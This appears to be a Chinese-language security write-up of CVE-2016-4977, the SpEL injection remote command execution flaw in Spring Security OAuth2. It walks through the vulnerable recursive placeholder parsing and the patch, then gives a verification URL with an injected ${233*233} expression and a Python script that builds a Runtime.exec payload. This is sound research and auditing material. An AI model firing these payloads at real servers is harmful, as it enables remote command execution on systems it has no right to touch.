CVE-2016-4977

https://github.com/vulhub/vulhub/tree/master/spring/CVE-2016-4977

https://github.com/vulhub/vulhub/tree/master/base/spring/spring-security-oauth2/2.0.8/src

https://blog.knownsec.com/2016/10/spring-security-oauth-rce/

http://itmyhome.com/spring/expressions.html

https://github.com/spring-attic/spring-security-oauth/commit/fff77d3fea477b566bcacfbfc95f85821a2bdc2d

概述

Spring Security OAuth2 Remote Command Execution Vulnerability (CVE-2016-4977)

Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。

影响版本:2.0.0 to 2.0.9 / 1.0.0 to 1.0.5

分析

org/springframework/security/oauth/spring-security-oauth2/2.0.8.RELEASE/spring-security-oauth2-2.0.8.RELEASE.jar!/org/springframework/security/oauth2/provider/endpoint/WhitelabelErrorEndpoint.class

通用错误信息显示模板,使用SpelView去渲染,可以看到从request中判断是否存在error内容,然后传入map中去渲染模板,模板是以变量的形式去调用,随后看一下SpelView的实现。

SpelView的实现如下,在对象创建时设置了当前对象的模板,helper用作识别模板中的变量,resolver用来处理变量,处理变量的实现可以看到调用了paser.parseExpression处理解析,然后就是看一下渲染时如何调用的resolve Placeholder。

在render方法中,可以看到将传入的model放入了变量中,然后调用了helper的replacePlaceholders

可以看到调用之后的实现如下,然后又调用了另一个函数,并追加了一个HashSet

然后就来到了关键的方法实现,首先会根据之前设定的变量前缀和后缀去识别变量,也就是"${" “}”,识别之后将变量截取出来,会递归调用当前函数,将截取出来的变量传进去,即一直是到没有识别到变量位置,这个时候会把传进来的值原样返回去,就可以走到73行代码,执行变量解析了,漏洞的利用点就在于它进行了递归解析。

有意思的是,解析结果正常不为null,会在87行对解析的结果进行递归解析,一系列处理完成之后,最终返回的实际上就是解析之后替换完成的字符串。

修复分析

变量识别前缀改为随机开头,然后会将模板中的变量识别符号先替换为随机的,然后去进行解析,这样攻击者只能碰撞前缀符号才可能被解析。

这个随机是固定字符序列,随机6位,不晓得是否有可能碰撞成功。

验证

http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test

测试是发现response_type和reirect_uri都可以,因为它们的错误信息中会出现用户输入数据。

利用

https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/poc.py

#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) 

poc += ')}'

print(poc)

总结

审计时注意SpEL表达式的使用,是否可能涉及到用户可控的情况,本例中能得到的经验就是模板的动态处理,还有就是涉及到递归的情况需要额外注意。